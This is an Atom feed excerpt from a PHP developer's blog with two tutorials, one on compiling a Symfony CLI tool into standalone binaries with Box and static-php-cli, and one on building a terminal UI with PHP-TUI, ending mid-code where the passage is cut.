<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <title><![CDATA[Loïc Faugeron]]></title>
    <link href="/feed/atom.xml" rel="self"/>
    <link href="/"/>
    <updated>2026-03-26T12:58:00+00:00</updated>
    <id>http://gnugat.github.com</id>
            <author>
            <name><![CDATA[Loïc Faugeron]]></name>            <email><![CDATA[faugeron.loic@gmail.com]]></email>        </author>
        <generator uri="http://sculpin.io/">Sculpin</generator>
            <entry>
            <title type="html"><![CDATA[Turn your PHP app into a standalone binary]]></title>
            <link href="/2026/03/25/turn-you-php-app-into-a-standalone-binary.html"/>
            <updated>2026-03-25T00:00:00+00:00</updated>
            <id>/2026/03/25/turn-you-php-app-into-a-standalone-binary.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><em>Edit (2026-03-26): added Distribution / Upgrade section.</em></p>
</blockquote>

<hr />

<blockquote>
  <p><strong>TL;DR</strong>:</p>
  
  <ol>
  <li>Prepare app for prod environment:
  no dev deps, autoloading optimisation (classmap authoritative),
  making <code>.env.local.php</code> from <code>.env</code>, no debug symfony cache, etc</li>
  <li>Compile the PHAR with <a href="https://github.com/box-project/box">Box</a></li>
  <li>Concatenate micro.sfx + dtk.phar into a self-contained binary with <a href="https://github.com/crazywhalecc/static-php-cli">static-php-cli</a></li>
  </ol>
</blockquote>

<p>I've been building <a href="https://github.com/ssc-php/dtk">DTK</a>, a PHP CLI tool that automates
the repetitive ceremony around the developer workflow:
open ticket, create branch, open PR, merge, deploy -
all wired together so you don't have to context-switch between your terminal,
your Kanban board, and GitHub.</p>

<p>It's a Symfony Console app, it runs fine with <code>php dtk</code>,
but distributing it to teammates means they need PHP installed at the right version,
with the right extensions, plus Composer.
That's friction I'd rather not ask anyone to deal with.</p>

<p>Turns out, PHP can produce a single self-contained binary, no PHP required on the target machine.
I learned this from a talk by Jean-François Lépine at Forum PHP 2025,
<a href="https://www.youtube.com/watch?v=gqre9g4XV00">PHP without PHP: Make Standalone Binaries from Your Code</a>,
which is in French, but <a href="https://github.com/gnugat/knowledge/blob/main/talks-recapped/2025-10-forum-php/012-php-without-php-make-standalone-binaries-from-your-code.md">here's an English recap of it</a>.</p>

<p>Surprisingly easy to set up. Here's how.</p>

<h2 id="the-two-ingredients">The two ingredients</h2>

<p>Two tools do all the work.</p>

<p><strong>Box</strong> packages a PHP project into a <code>.phar</code> archive.
A <code>.phar</code> is a self-contained PHP archive: it includes all your source files and vendor
dependencies, and PHP can execute it directly.</p>

<p><strong>PHP Micro SFX</strong>, part of the static-php-cli (SPC) project,
is a minimal static PHP binary with no external dependencies.
It reads whatever binary data is appended to it and executes it as a <code>.phar</code>.</p>

<p>Combine the two:</p>

<pre><code>micro.sfx + app.phar = standalone binary
</code></pre>

<p>One file. No PHP needed on the target machine. Drop it, run it.</p>

<h2 id="step-1%3A-package-the-app-as-a-phar">Step 1: package the app as a PHAR</h2>

<p>Box reads a <code>box.json</code> config file and produces the archive.
Here's the one for DTK:</p>

<pre><code class="json">{
    "$schema": "https://box-project.github.io/box/schema.json",
    "main": "dtk",
    "output": "build/dtk.phar",
    "compression": "GZ",
    "check-requirements": false,
    "directories": [
        "config",
        "src",
        "var/cache/prod",
        "vendor"
    ],
    "files": [
        ".env.local.php"
    ]
}
</code></pre>

<p>A few things worth noting:</p>

<ul>
<li><code>"main": "dtk"</code> is the entry point PHP file that Box will call when the PHAR is executed</li>
<li><code>"compression": "GZ"</code> compresses the archive contents, smaller file, same behaviour</li>
<li><code>"check-requirements": false</code> skips the PHP version and extension check at runtime,
since we know the bundled micro binary already has everything we need</li>
<li><code>var/cache/prod</code> includes the pre-warmed Symfony cache,
so the binary doesn't need to write to the filesystem on first run</li>
<li><code>.env.local.php</code> is a compiled version of the environment variables</li>
</ul>

<h2 id="step-2%3A-get-the-micro-binaries">Step 2: get the micro binaries</h2>

<p><a href="https://dl.static-php.dev/static-php-cli/common/">static-php-cli prebuilds micro SFX files</a>
for all major platforms and PHP versions, so you don't need to compile anything yourself.</p>

<p>In the DTK Dockerfile, I download them all at image build time:</p>

<pre><code class="dockerfile">RUN for PLATFORM in linux-x86_64 linux-aarch64 macos-x86_64 macos-aarch64; do \
        curl -fsSL \
            -o /tmp/micro.tar.gz \
            "https://dl.static-php.dev/static-php-cli/common/php-${PHP_VERSION}-micro-${PLATFORM}.tar.gz" \
        &amp;&amp; tar xzf /tmp/micro.tar.gz -C /usr/local/lib/ \
        &amp;&amp; mv /usr/local/lib/micro.sfx "/usr/local/lib/micro-${PLATFORM}.sfx" \
        &amp;&amp; rm /tmp/micro.tar.gz; \
    done
</code></pre>

<p>Windows has a separate download (a zip, not a tarball), but same idea.</p>

<p>The micro SFX from static-php-cli includes <a href="https://static-php.dev/en/guide/extensions.html">a whole bunch of extensions</a>,
so if you need some that are missing, or if you want the bare minimum, you'd need to compile
your own micro using SPC, that's more involved, but SPC has a <code>doctor --auto-fix</code>
command to help with the build environment setup.</p>

<h2 id="step-3%3A-assemble-the-binaries">Step 3: assemble the binaries</h2>

<p>With the PHAR built and the micro SFX files in place, combining them is a <code>cat</code> 😼:</p>

<pre><code class="bash">cat micro-linux-x86_64.sfx dtk.phar &gt; dtk-linux-x86_64
chmod +x dtk-linux-x86_64
</code></pre>

<p>That's it. The resulting file is a valid ELF binary (or Mach-O on macOS, PE on Windows)
that carries its own PHP interpreter alongside the application code.</p>

<p>Here's the full build script I use for DTK (<code>bin/mk-dtk-bin.sh</code>) that does all of it:</p>

<pre><code class="bash">#!/usr/bin/env bash
set -euo pipefail

# Restore dev dependencies once finished
trap 'composer install --optimize-autoloader --quiet' EXIT

echo '  // Installing prod dependencies...'
composer install --no-dev --classmap-authoritative --quiet

echo '  // Compiling environment variables...'
php bin/mk-dtk-bin/dump-env-prod.php

echo '  // Warming up Symfony cache...'
APP_ENV=prod APP_DEBUG=0 php bin/console cache:warmup --quiet

echo '  // Building PHAR...'
mkdir -p build
php -d phar.readonly=0 /usr/local/bin/box compile

echo '  // Assembling binaries...'
for _PLATFORM in linux-x86_64 linux-aarch64 macos-x86_64 macos-aarch64 windows-x86_64; do
    case "${_PLATFORM}" in
        windows-*) _EXT='.exe' ; _CHMOD=false ;;
        *)         _EXT=''     ; _CHMOD=true  ;;
    esac

    cat "/usr/local/lib/micro-${_PLATFORM}.sfx" build/dtk.phar &gt; "build/dtk-${_PLATFORM}${_EXT}"
    ${_CHMOD} &amp;&amp; chmod +x "build/dtk-${_PLATFORM}${_EXT}"
done

echo '  // Generating checksums...'
sha256sum \
    build/dtk-linux-x86_64 \
    build/dtk-linux-aarch64 \
    build/dtk-macos-x86_64 \
    build/dtk-macos-aarch64 \
    build/dtk-windows-x86_64.exe \
    &gt; build/checksums.txt

echo '  [OK] Binaries built'
</code></pre>

<p>A few things the script does before building the PHAR:</p>

<ul>
<li><strong><code>composer install --no-dev --classmap-authoritative</code></strong>: strips dev dependencies
and generates a fast classmap-only autoloader, smaller archive, faster startup.</li>
<li><strong><code>dump-env-prod.php</code></strong>: compiles <code>.env</code> files into <code>.env.local.php</code> so the binary
doesn't need to parse <code>.env</code> files at runtime.
(Replicates what <code>composer dump-env prod</code> from symfony/flex does,
without requiring symfony/flex as a dependency.)</li>
<li><strong><code>cache:warmup</code></strong>: pre-generates the Symfony container so the binary
doesn't need write access to the filesystem on first run.</li>
</ul>

<p>The <code>trap</code> at the top restores dev dependencies when the script exits,
so the local dev environment is left intact after a build.</p>

<h2 id="what-comes-out">What comes out</h2>

<p>Running <code>make app-bin</code> in the Docker container produces:</p>

<pre><code>build/dtk.phar
build/dtk-linux-x86_64
build/dtk-linux-aarch64
build/dtk-macos-x86_64
build/dtk-macos-aarch64
build/dtk-windows-x86_64.exe
build/checksums.txt
</code></pre>

<p>Five binaries, one per platform, from a single command, without leaving Docker.
Each one runs without PHP on the target machine.</p>

<h2 id="distribution-%2F-upgrade">Distribution / Upgrade</h2>

<p>The binaries attach naturally to a GitHub release, alongside a <code>checksums.txt</code>
generated by <code>sha256sum</code>. Users can download the right binary for their platform
and verify the checksum.</p>

<p>That could cover the first install, but what about upgrades?</p>

<blockquote>
  <p><strong>Note</strong>: In the PHP world, the "obvious" idea could be a <code>self-update</code> command:
  check the GitHub Releases API for a newer version, download the matching binary, replace the current executable.
  Tools like <code>php-cs-fixer</code> do this. It works, but it means implementing platform detection
  and handling the running-binary-can't-overwrite-itself problem on Windows.
  A reasonable amount of work for a modest gain.</p>
  
  <p>There's an easier way, and it's what most CLI tools already rely on: a package manager (e.g. <a href="https://brew.sh/">homebrew</a>).</p>
</blockquote>

<p>A <a href="https://docs.brew.sh/How-to-Create-and-Maintain-a-Tap">Homebrew tap</a> gets you the same result
with none of that complexity, and it's the mechanism users already know and trust for CLI tools (e.g. <code>fd</code>, <code>eza</code>, <code>tmux</code>, etc).</p>

<p>A tap is just a GitHub repository (named <code>homebrew-&lt;something&gt;</code>) with a Ruby formula
that points at the release assets:</p>

<pre><code class="ruby">class Dtk &lt; Formula
  desc "Kanban, Git and Deployment, in one coherent flow"
  homepage "https://github.com/ssc-php/dtk"
  license "MIT"
  version "0.1.0"

  on_macos do
    on_intel do
      url "https://github.com/ssc-php/dtk/releases/download/v#{version}/dtk-macos-x86_64"
      sha256 "3e44b1c8583b9f5cc140acbc43726de81fb8a151c0afc43e1152729c9a06213b"
    end

    on_arm do
      url "https://github.com/ssc-php/dtk/releases/download/v#{version}/dtk-macos-aarch64"
      sha256 "957953df74861df6cb8f975c4864f4495277c63cdd8b73fa20f9884dd2538ca0"
    end
  end

  on_linux do
    on_intel do
      url "https://github.com/ssc-php/dtk/releases/download/v#{version}/dtk-linux-x86_64"
      sha256 "4870846397532db7e513b39cabfd3b6fba426fbb3232190480ffc2368a51da27"
    end

    on_arm do
      url "https://github.com/ssc-php/dtk/releases/download/v#{version}/dtk-linux-aarch64"
      sha256 "e4674f606d96fcbf2fe80505d26a4f260ef27f488b5d0e56e5193f54a9ebd263"
    end
  end

  def install
    bin.install Dir["dtk-*"].first =&gt; "dtk"
  end

  test do
    assert_match version.to_s, shell_output("#{bin}/dtk --version")
  end
end
</code></pre>

<p>Users install once:</p>

<pre><code class="console">brew tap ssc-php/dtk
brew install dtk
</code></pre>

<p>And upgrade the same way as any other tool:</p>

<pre><code class="console">brew upgrade dtk
</code></pre>

<p>The formula file lives in the tap repo. On each release, update the <code>version</code> field
and the <code>sha256</code> hashes, commit, push. The release script does this automatically.</p>

<h2 id="constraints-worth-knowing">Constraints worth knowing</h2>

<p>This is real PHP, the same interpreter, the same extensions, the same behaviour.
A few things to be aware of:</p>

<p><strong>FFI is not available.</strong> Foreign Function Interface calls (PHP calling C libraries directly)
don't work in static builds. For a CLI tool this is unlikely to matter.</p>

<p><strong>Binary size.</strong> A minimal PHP binary with no extensions is around 3 MB.
DTK, which only uses standard extensions, comes out much smaller than a full PHP install.
Not Go-binary small, but perfectly acceptable for a CLI tool distributed via GitHub Releases.</p>

<p><strong>Startup time.</strong> There's a small overhead compared to running <code>php dtk</code> directly:
PHAR extraction adds a few milliseconds, and the static build uses musl libc rather
than glibc, which is slightly slower.
For a developer tool where the user is waiting hundreds of milliseconds anyway, this doesn't matter.</p>

<p><strong>Not for web apps.</strong> This is for CLI / TUI / scripts, for web PHP apps,
use <a href="https://frankenphp.dev/">FrankenPHP</a> instead.
It's a production-proven PHP app server built on top of static-php-cli that handles
all the complexity, and it ships as a standalone binary too.</p>

<h2 id="a-surprisingly-short-path">A surprisingly short path</h2>

<p>The whole thing (Box config, Dockerfile setup, build script) took an afternoon.
Most of that time was reading the static-php-cli docs and figuring out the Docker layering.
The actual concatenation step (<code>cat micro.sfx app.phar &gt; binary</code>) was the part that surprised me most:
something that powerful should not be that simple :D !</p>

<p>If you're building a PHP CLI tool meant to be distributed to people who shouldn't need
to care about PHP, this is the approach. It works, it's well-supported
(FrankenPHP, Laravel Herd, and NativePHP all use static-php-cli under the hood),
and the tooling is solid.</p>

<p>If you want to see a real-world example of a PHP project that compiles its own micro binaries
(including the SPC setup), look at <a href="https://github.com/jolicode/castor">Castor</a>.
Castor is a task runner / script launcher for PHP (think Make or Taskfile, but in PHP)
and it ships prebuilt binaries for all platforms.
Its build setup is a good reference for when you outgrow the prebuilt micro SFX files
and need to compile your own with a custom extension set.</p>

<p>The full DTK source used in this article is available at
<a href="https://github.com/ssc-php/dtk/tree/v0.1.0">github.com/ssc-php/dtk/tree/v0.1.0</a>.
The Homebrew tap code added in the edit is in
<a href="https://github.com/ssc-php/dtk/commit/129e26a">commit 129e26a</a>.
The Homebrew tap itself is at
<a href="https://github.com/ssc-php/homebrew-dtk/commit/daa6aa1">github.com/ssc-php/homebrew-dtk/commit/daa6aa1</a>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[PHP-TUI]]></title>
            <link href="/2026/03/18/xl-12-php-tui.html"/>
            <updated>2026-03-18T00:00:00+00:00</updated>
            <id>/2026/03/18/xl-12-php-tui.html</id>
            <content type="html"><![CDATA[<p>BisouLand is an eXtreme Legacy (2005 LAMP) app, an idle browser game where players
take each other's Love Points by blowing kisses across clouds.</p>

<p>In the <a href="/2026/02/25/xl-10-qalin-test-control-interface-with-symfony/">previous article</a>,
we built <strong>Qalin</strong>: BisouLand's Test Control Interface, a dedicated Symfony app that lets
anyone on the team reach any game state on demand, without touching production code.</p>

<p>Qalin already has three interfaces: CLI, API, and a Web UI.</p>

<p>After using it for a bit, I realised to my utter dismay that I somehow preferred
using the Web UI, instead of the CLI one as I'd expect 🙀.
I live in the terminal, using a Web UI or GUI is unacceptable, so let's fix that by...</p>

<p>Introducing a <strong>TUI</strong> (Terminal User Interface).
In today's article, we'll build one with <a href="https://php-tui.github.io/php-tui/">PHP-TUI</a>.</p>

<p><img alt="Qalin TUI demo" src="/images/xl-12-00-qalin-tui-demo.gif" width="100%" /></p>

<p><em>Did you notice the animated banner when switching to new screen or submitting the forms? Nice!</em></p>

<h2 id="what-is-php-tui%3F">What is PHP-TUI?</h2>

<p>PHP-TUI is a PHP port of <a href="https://ratatui.rs/">Ratatui</a>, the popular Rust TUI library.</p>

<p>It gives you a retained-mode widget system, a layout engine based on constraints,
and a terminal backend: all the building blocks to draw full-screen interactive
applications directly in your terminal.</p>

<p>The core loop is straightforward:</p>

<ol>
<li>Poll the terminal for keyboard events</li>
<li>Update application state based on those events</li>
<li>Build a widget tree that reflects current state</li>
<li>Render it to the screen</li>
</ol>

<p>No browser, no HTTP server, no JavaScript framework.
Just your terminal, a render loop, and widgets.</p>

<p>PHP-TUI is powerful precisely because it stays out of your way:
it doesn't come with any opinionated defaults or conventions about how to structure
an application. It gives you widgets, a layout engine, and a terminal backend, and
leaves everything else to you.</p>

<p>But that means it can be quite daunting to build your own application with it,
especially since there are (at the time of writing) not a lot of resources about it.</p>

<p>Most of what follows, the <code>Screen</code> interface, the <code>Action</code> navigation model,
the <code>Component</code> abstraction, the <code>Form</code> system, the custom widgets, are things I designed myself,
loosely inspired by my partial understanding of how Ratatui applications are structured.
Take them as one possible approach, not as the official way to use PHP-TUI.</p>

<p>Let's walk through it.</p>

<h2 id="the-main-loop">The Main Loop</h2>

<p><code>QalinTui</code> is the entry point. It sets up the terminal, registers widget renderers,
and runs the event/render loop:</p>

<pre><code class="php">public function run(): void
{
    $terminal = Terminal::new();
    $backend = PhpTermBackend::new($terminal);
    $display = DisplayBuilder::default($backend)
        -&gt;addWidgetRenderer(new LayoutWidgetRenderer())
        -&gt;addWidgetRenderer(new BannerWidgetRenderer())
        -&gt;addWidgetRenderer(new FormWidgetRenderer())
        -&gt;addWidgetRenderer(new KeyHintsWidgetRenderer())
        // ... more custom renderers
        -&gt;fullscreen()
        -&gt;build()
    ;

    try {
        $terminal-&gt;execute(Actions::cursorHide());
        $terminal-&gt;execute(Actions::alternateScreenEnable());
        $terminal-&gt;enableRawMode();

        while (true) {
            // Drain all queued events before redrawing
            while ($event = $terminal-&gt;events()-&gt;next()) {
                $action = $this-&gt;handle($event);
                if ($action instanceof Quit) {
                    return;
                }
            }

            $display-&gt;draw($this-&gt;activeScreen-&gt;build());
            usleep(50_000); // 50 ms
        }
    } finally {
        $terminal-&gt;disableRawMode();
        $terminal-&gt;execute(Actions::alternateScreenDisable());
        $terminal-&gt;execute(Actions::cursorShow());
    }
}
</code></pre>

<p>Three terminal setup calls worth knowing:</p>

<ul>
<li><code>alternateScreenEnable()</code> switches to a blank buffer, so closing the TUI restores the
terminal exactly as it was before</li>
<li><code>enableRawMode()</code> disables the default echo and buffering behaviours, so keypresses go
directly to the application instead of being processed by the shell</li>
<li><code>cursorHide()</code> removes the blinking cursor from the TUI surface</li>
</ul>

<p>The <code>finally</code> block ensures all three are reversed on exit, whether the app quits normally
or throws.</p>

<p>The inner loop drains all queued events before each redraw. This avoids redundant renders
when multiple events arrive within the same 50 ms window.</p>

<blockquote>
  <p>🐘 <strong>PHP-TUI</strong>: <code>DisplayBuilder::default()</code> is the entry point for constructing a
  display. <code>addWidgetRenderer()</code> registers custom renderers alongside the built-in ones.
  <code>fullscreen()</code> sizes the surface to the terminal dimensions. <code>build()</code> returns the
  display ready for use.</p>
</blockquote>

<h2 id="the-screen-interface">The Screen Interface</h2>

<p>The application is structured around screens.</p>

<p>Each screen is a full-page view with three responsibilities:</p>

<pre><code class="php">interface Screen
{
    // Unique display name (shown in menus, titles, etc.)
    public function name(): string;

    // Renders current state as a Widget tree for this frame
    public function build(): Widget;

    // Processes an input event and signals what should happen next
    public function handle(Event $event): Action;
}
</code></pre>

<p><code>handle()</code> returns one of three <code>Action</code> types:</p>

<ul>
<li><code>Stay</code>: the event was handled internally, stay on this screen</li>
<li><code>Navigate(ScreenClass::class)</code>: transition to another screen</li>
<li><code>Quit</code>: exit the TUI</li>
</ul>

<p><code>QalinTui</code> owns all registered screens and a pointer to the active one.
When <code>handle()</code> returns <code>Navigate</code>, it updates the active screen pointer and returns
<code>Stay</code> to the loop:</p>

<pre><code class="php">public function handle(Event $event): Action
{
    $action = $this-&gt;activeScreen-&gt;handle($event);

    if ($action instanceof Navigate) {
        $this-&gt;activeScreen = $this-&gt;screens[$action-&gt;screen] ?? $this-&gt;activeScreen;

        return new Stay();
    }

    return $action;
}
</code></pre>

<p>Screens are registered via Symfony's <code>#[AutowireIterator]</code> by DI tag, so adding a new
screen is a matter of implementing <code>Screen</code> and tagging it, no wiring by hand.</p>

<h2 id="the-home-screen">The Home Screen</h2>

<p><code>HomeScreen</code> is the entry point. It shows a tab-split choice input
of available actions and scenarios.</p>

<p><img alt="Qalin TUI Home Screen" src="/images/xl-12-01-qalin-tui-home-screen.png" width="100%" /></p>

<p>The choice input combines a fuzzy-find filter and a navigable list in a single component,
<code>ChoiceFieldComponent</code>. The screen passes it the screen names for the active tab and
delegates all filtering and navigation to it.</p>

<p><code>build()</code> is straightforward:</p>

<pre><code class="php">public function build(): Widget
{
    return LayoutWidget::from(
        $this-&gt;qalinAnimatedBanner-&gt;widget(),
        $this-&gt;tabs-&gt;build(),      // hotkey tab bar: "1 Actions / 2 Scenarios"
        $this-&gt;choiceInput-&gt;build(), // fuzzy-find filter + navigable list
        KeyHintsWidget::from(['Next' =&gt; 'Tab', 'Select' =&gt; 'Enter', 'Quit' =&gt; 'Esc']),
    );
}
</code></pre>

<p><code>ChoiceFieldComponent::build()</code> returns a single widget that renders both the filter
input and the list, so the screen body is just <code>$this-&gt;choiceInput-&gt;build()</code>: no
manual <code>GridWidget</code>, no <code>ListWidget</code>, no cursor tracking.</p>

<p>The <code>handle()</code> method uses PHP's <code>match</code> to dispatch on event type and key code:</p>

<pre><code class="php">public function handle(Event $event): Action
{
    return match (true) {
        $event instanceof CodedKeyEvent =&gt; match ($event-&gt;code) {
            KeyCode::Esc =&gt; new Quit(),
            KeyCode::Tab, KeyCode::Down =&gt; $this-&gt;handleChoiceInput(CodedKeyEvent::new(KeyCode::Down)),
            KeyCode::BackTab, KeyCode::Up =&gt; $this-&gt;handleChoiceInput(CodedKeyEvent::new(KeyCode::Up)),
            KeyCode::Enter =&gt; $this-&gt;selectCurrentScreen(),
            default =&gt; $this-&gt;handleChoiceInput($event),
        },
        $event instanceof CharKeyEvent =&gt; match ($this-&gt;tabs-&gt;handle($event)) {
            ComponentState::Changed =&gt; $this-&gt;resetChoiceInput(),
            ComponentState::Handled =&gt; new Stay(),
            ComponentState::Ignored, ComponentState::Submitted =&gt; $this-&gt;handleChoiceInput($event),
        },
        default =&gt; new Stay(),
    };
}
</code></pre>

<p>Tab hotkeys (<code>1</code> for Actions, <code>2</code> for Scenarios) are tried first for every character
event. If the character is not a hotkey, it is forwarded to <code>ChoiceFieldComponent</code>,
which appends it to the filter. Switching tabs resets the choice input for the new tab's
screen list.</p>

<h2 id="action-screens">Action Screens</h2>

<p>Each Qalin action has its own screen. They all follow the same pattern:
a form on the left, the API response on the right.</p>

<p><img alt="Qalin TUI Action Screen" src="/images/xl-12-02-qalin-tui-action-screen.png" width="100%" /></p>

<p>Here is <code>UpgradeInstantlyForFreeScreen</code>:</p>

<pre><code class="php">public function __construct(
    private readonly HttpClientInterface $qalinHttpClient,
    private readonly QalinAnimatedBanner $qalinAnimatedBanner,
) {
    $this-&gt;form = FormComponent::fromFields(
        InputFieldComponent::fromLabel('Username'),
        ChoiceFieldComponent::fromLabelAndChoices('Upgradable', array_map(
            static fn (Upgradable $u): string =&gt; $u-&gt;value,
            Upgradable::cases(),
        )),
        InputFieldComponent::fromLabel('Levels')-&gt;withValue('1'),
        SubmitFieldComponent::fromLabel('Upgrade'),
    );
}

public function build(): Widget
{
    return LayoutWidget::from(
        $this-&gt;qalinAnimatedBanner-&gt;widget(),
        ConstrainedWidget::wrap(
            ParagraphWidget::fromLines(Line::fromSpans(
                Span::styled('Action: UpgradeInstantlyForFree', Style::default()
                    -&gt;fg(AnsiColor::Yellow)
                    -&gt;addModifier(Modifier::BOLD)),
            )),
            Constraint::length(3),
        ),
        GridWidget::default()
            -&gt;direction(Direction::Horizontal)
            -&gt;constraints(
                Constraint::percentage(50),
                Constraint::percentage(50),
            )
            -&gt;widgets(
                $this-&gt;form-&gt;build(),
                BlockWidget::default()
                    -&gt;borders(Borders::ALL)
                    -&gt;borderType(BorderType::Rounded)
                    -&gt;titles(Title::fromString('Result'))
                    -&gt;widget(KeyValueWidget::fromRows($this-&gt;result ?? [])),
            ),
        KeyHintsWidget::from(['Next' =&gt; 'Tab', 'Submit' =&gt; 'Enter', 'Back' =&gt; 'Esc']),
    );
}

public function handle(Event $event): Action
{
    if ($event instanceof CodedKeyEvent &amp;&amp; KeyCode::Esc === $event-&gt;code) {
        $this-&gt;qalinAnimatedBanner-&gt;animate();

        return new Navigate(HomeScreen::class);
    }

    if (ComponentState::Submitted !== $this-&gt;form-&gt;handle($event)) {
        return new Stay();
    }

    $this-&gt;qalinAnimatedBanner-&gt;animate();

    $response = $this-&gt;qalinHttpClient-&gt;request('POST', 'api/v1/actions/upgrade-instantly-for-free', [
        'json' =&gt; [
            'username'   =&gt; $this-&gt;form-&gt;getValues()['Username'],
            'upgradable' =&gt; $this-&gt;form-&gt;getValues()['Upgradable'],
            'levels'     =&gt; (int) $this-&gt;form-&gt;getValues()['Levels'],
        ],
    ]);
    $this-&gt;result = $response-&gt;toArray(false);

    return new Stay();
}
</code></pre>

<p>The <code>FormComponent</code> manages tab-cycling between fields and signals <code>ComponentState::Submitted</code>
when the submit button is pressed. The screen delegates all form events to it and only
reacts to the <code>Submitted</code> state: it does not need to know which field is focused or
how the cursor moves.</p>

<h2 id="custom-widgets">Custom Widgets</h2>

<p>PHP-TUI ships a set of built-in widgets (Paragraph, Grid, Block, List, etc.).
For anything that needs different composition or reuse, you create a custom widget.</p>

<p>A custom widget is two classes:</p>

<ol>
<li>A <strong>data class</strong> (the widget itself): holds parameters, has no rendering logic</li>
<li>A <strong>renderer</strong>: converts the widget data into built-in widget calls</li>
</ol>

<p><code>HotkeyTabsWidget</code> renders a tab bar like <code>[1] Actions | [2] Scenarios</code>.
The data class holds the tabs map, the focused hotkey, and three style properties:</p>

<pre><code class="php">final readonly class HotkeyTabsWidget implements Widget, Constrained
{
    /** @param non-empty-array&lt;array-key, string&gt; $hotkeyTabs hotkey =&gt; label */
    private function __construct(
        public array $hotkeyTabs,
        public string $focusedHotkey,
        public Style $hotkeyStyle,
        public Style $focusedLabelStyle,
        public Style $unfocusedLabelsStyle,
    ) {
    }

    /** @param array&lt;array-key, string&gt; $tabs hotkey =&gt; label */
    public static function fromTabs(array $tabs): self
    {
        if ([] === $tabs) {
            throw ValidationFailedException::make(
                'Invalid "HotkeyTabsWidget" parameter: tabs should not be empty (`[]` given)',
            );
        }

        foreach (array_keys($tabs) as $hotkey) {
            if (1 !== mb_strlen((string) $hotkey)) {
                throw ValidationFailedException::make(
                    "Invalid \"HotkeyTabsWidget\" parameter: tab hotkey should be a single character (`{$hotkey}` given)",
                );
            }
        }

        return new self(
            $tabs,
            (string) array_key_first($tabs),
            Style::default()-&gt;fg(AnsiColor::Blue)-&gt;addModifier(Modifier::BOLD),
            Style::default()-&gt;fg(AnsiColor::Yellow)-&gt;addModifier(Modifier::BOLD),
            Style::default()-&gt;fg(AnsiColor::DarkGray),
        );
    }

    public function focus(string $hotkey): self
    {
        if (!\array_key_exists($hotkey, $this-&gt;hotkeyTabs)) {
            throw ValidationFailedException::make(
                "Invalid \"HotkeyTabsWidget\" parameter: focusedHotkey should match an existing tab hotkey (`{$hotkey}` given)",
            );
        }

        return new self(
            $this-&gt;hotkeyTabs,
            $hotkey,
            $this-&gt;hotkeyStyle,
            $this-&gt;focusedLabelStyle,
            $this-&gt;unfocusedLabelsStyle,
        );
    }

    public function constraint(): LengthConstraint
    {
        return Constraint::length(3);
    }

    // hotkeyStyle(), focusedLabelStyle(), unfocusedLabelsStyle() withers omitted for brevity
}
</code></pre>

<p>The widget is immutable: <code>focus()</code> returns a new instance rather than mutating state.
<code>constraint()</code> is part of the <code>Constrained</code> interface, which lets the layout system
ask the widget how much space it needs (3 rows: 1 content + 2 border).</p>

<p>The renderer builds the <code>[1] Actions | [2] Scenarios</code> line from <code>Span</code> elements,
applying the focused or unfocused label style depending on which hotkey is active:</p>

<pre><code class="php">final class HotkeyTabsWidgetRenderer implements WidgetRenderer
{
    public function render(
        WidgetRenderer $renderer,
        Widget $widget,
        Buffer $buffer,
        Area $area,
    ): void {
        if (!$widget instanceof HotkeyTabsWidget) {
            return;
        }

        $spans = [];
        $isFirstTab = true;
        foreach ($widget-&gt;hotkeyTabs as $key =&gt; $label) {
            $hotkey = (string) $key;
            $label  = (string) $label;

            if (!$isFirstTab) {
                $spans[] = Span::styled(' | ', $widget-&gt;unfocusedLabelsStyle);
            }

            $isFirstTab = false;

            $spans[] = Span::styled('[', $widget-&gt;unfocusedLabelsStyle);
            $spans[] = Span::styled($hotkey, $widget-&gt;hotkeyStyle);
            $spans[] = Span::styled('' !== $label ? '] ' : ']', $widget-&gt;unfocusedLabelsStyle);
            $spans[] = Span::styled(
                $label,
                $hotkey === $widget-&gt;focusedHotkey
                    ? $widget-&gt;focusedLabelStyle
                    : $widget-&gt;unfocusedLabelsStyle,
            );
        }

        $renderer-&gt;render(
            $renderer,
            ParagraphWidget::fromLines(Line::fromSpans(...$spans)),
            $buffer,
            $area,
        );
    }
}
</code></pre>

<p>The renderer receives the <code>Area</code> (width and height of the allocated space) and the
<code>Buffer</code> (the mutable character grid for this frame). It does not write to the buffer
directly: it delegates to a built-in widget via <code>$renderer-&gt;render()</code>.
That is the common pattern: assemble standard widgets from the widget's data, then
pass rendering back to the framework.</p>

<blockquote>
  <p>🐘 <strong>PHP-TUI</strong>: register custom renderers with <code>DisplayBuilder::addWidgetRenderer()</code>.
  Renderers are checked in order; the first one that recognises the widget class wins.
  The <code>WidgetRenderer $renderer</code> parameter passed to <code>render()</code> is the full chain,
  so delegating to built-in widgets is just <code>$renderer-&gt;render($renderer, $childWidget, $buffer, $area)</code>.</p>
</blockquote>

<h2 id="components">Components</h2>

<p>A <strong>component</strong> wraps a widget with mutable state and event handling.
Where a widget is pure data built fresh each frame, a component lives across frames
and tracks what has changed.</p>

<p><code>HotkeyTabsComponent</code> wraps <code>HotkeyTabsWidget</code> and adds focus state and event handling.
It is generic over <code>HotkeyTab</code>, an interface with two methods:</p>

<pre><code class="php">interface HotkeyTab
{
    public function key(): string;   // single character, e.g. '1'
    public function label(): string; // display name, e.g. 'Actions'
}
</code></pre>

<p>Any backed enum implementing <code>HotkeyTab</code> can be used as a tab set.
<code>HomeTab</code> is the one used by <code>HomeScreen</code>:</p>

<pre><code class="php">enum HomeTab: string implements HotkeyTab
{
    case Actions   = 'Actions';
    case Scenarios = 'Scenarios';

    public function key(): string
    {
        return match ($this) {
            self::Actions   =&gt; '1',
            self::Scenarios =&gt; '2',
        };
    }

    public function label(): string { return $this-&gt;value; }
}
</code></pre>

<p>The component itself:</p>

<pre><code class="php">/** @template TTab of HotkeyTab */
final class HotkeyTabsComponent implements Component
{
    private int $focusedIndex = 0;

    /** @param non-empty-list&lt;TTab&gt; $tabs */
    private function __construct(private readonly array $tabs) {}

    /** @return self&lt;TTab&gt; */
    public static function fromTabs(array $tabs): self
    {
        return new self($tabs);
    }

    public function handle(Event $event): ComponentState
    {
        if (!$event instanceof CharKeyEvent) {
            return ComponentState::Ignored;
        }

        foreach ($this-&gt;tabs as $index =&gt; $tab) {
            if ($event-&gt;char === $tab-&gt;key()) {
                if ($index === $this-&gt;focusedIndex) {
                    return ComponentState::Handled;
                }

                $this-&gt;focusedIndex = $index;

                return ComponentState::Changed;
            }
        }

        return ComponentState::Ignored;
    }

    public function build(): HotkeyTabsWidget
    {
        $tabs = [];
